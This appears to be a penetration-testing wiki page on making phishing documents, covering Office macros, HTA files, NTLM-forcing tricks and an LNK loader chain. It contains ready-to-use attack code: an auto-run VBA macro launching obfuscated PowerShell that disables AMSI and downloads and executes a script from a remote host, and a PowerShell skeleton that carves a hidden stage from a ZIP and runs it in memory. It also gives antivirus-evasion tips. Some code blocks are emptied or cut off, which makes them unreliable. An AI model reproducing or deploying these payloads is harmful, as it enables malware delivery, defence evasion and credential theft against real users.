# Phishing Files & Documents {{#include ../../banners/hacktricks-training.md}} ## Office Documents Microsoft Word performs file data validation before opening a file. Data validation is performed in the form of data structure identification, against the OfficeOpenXML standard. If any error occurs during the data structure identification, the file being analysed will not be opened. Usually, Word files containing macros use the `.docm` extension. However, it's possible to rename the file by changing the file extension and still keep their macro executing capabilities.\ For example, an RTF file does not support macros, by design, but a DOCM file renamed to RTF will be handled by Microsoft Word and will be capable of macro execution.\ The same internals and mechanisms apply to all software of the Microsoft Office Suite (Excel, PowerPoint etc.). You can use the following command to check which extensions are going to be executed by some Office programs: ```bash assoc | findstr /i "word excel powerp" ``` DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well. ### External Image Load Go to: _Insert --> Quick Parts --> Field_\ _**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http:///whatever ![](<../../images/image (155).png>) ### Macros Backdoor It's possible to use macros to run arbitrary code from the document. #### Autoload functions The more common they are, the more probable the AV will detect them. - AutoOpen() - Document_Open() #### Macros Code Examples ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") End Sub ``` ```vba Sub AutoOpen() Dim Shell As Object Set Shell = CreateObject("wscript.shell") Shell.Run "calc" End Sub ``` ```vba Dim author As String author = oWB.BuiltinDocumentProperties("Author") With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-") .StdIn.WriteLine author .StdIn.WriteBlackLines 1 ``` ```vba Dim proc As Object Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") proc.Create "powershell ``` #### Manually remove metadata Fo to **File > Info > Inspect Document > Inspect Document**, which will bring up the Document Inspector. Click **Inspect** and then **Remove All** next to **Document Properties and Personal Information**. #### Doc Extension When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\ Do this because you **can't save macro's inside a `.docx`** and there's a **stigma** **around** the macro-enabled **`.docm`** extension (e.g. the thumbnail icon has a huge `!` and some web/email gateway block them entirely). Therefore, this **legacy `.doc` extension is the best compromise**. #### Malicious Macros Generators - MacOS - [**macphish**](https://github.com/cldrn/macphish) - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) ## HTA Files An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model. An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute. ```html <--! Basic HTA Execution --> Hello World

Hello World

This is an HTA...

``` ```html <--! Cobal Strike generated HTA without shellcode --> ``` ## Forcing NTLM Authentication There are several ways to **force NTLM authentication "remotely"**, for example, you could add **invisible images** to emails or HTML that the user will access (even HTTP MitM?). Or send the victim the **address of files** that will **trigger** an **authentication** just for **opening the folder.** **Check these ideas and more in the following pages:** {{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}} {{#ref}} ../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md {{#endref}} ### NTLM Relay Don't forget that you cannot only steal the hash or the authentication but also **perform NTLM relay attacks**: - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) Highly effective campaigns deliver a ZIP that contains two legitimate decoy documents (PDF/DOCX) and a malicious .lnk. The trick is that the actual PowerShell loader is stored inside the ZIP’s raw bytes after a unique marker, and the .lnk carves and runs it fully in memory. Typical flow implemented by the .lnk PowerShell one-liner: 1) Locate the original ZIP in common paths: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, and the parent of the current working directory. 2) Read the ZIP bytes and find a hardcoded marker (e.g., xFIQCV). Everything after the marker is the embedded PowerShell payload. 3) Copy the ZIP to %ProgramData%, extract there, and open the decoy .docx to appear legitimate. 4) Bypass AMSI for the current process: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true 5) Deobfuscate the next stage (e.g., remove all # characters) and execute it in memory. Example PowerShell skeleton to carve and run the embedded stage: ```powershell $marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') $paths = @( "$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents", "$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName ) $zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1 if(-not $zip){ return } $bytes = [IO.File]::ReadAllBytes($zip.FullName) $idx = [System.MemoryExtensions]::IndexOf($bytes, $marker) if($idx -lt 0){ return } $stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)] $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) Invoke-Expression $code ``` Notes - Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA). - The next stage frequently decrypts base64/XOR shellcode and executes it via Reflection.Emit + VirtualAlloc to minimize disk artifacts. Persistence used in the same chain - COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}} Hunting/IOCs - ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data. - .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document. - AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed. - Long-running business threads ending with links hosted under trusted PaaS domains. ## References - [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) - [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) {{#include ../../banners/hacktricks-training.md}}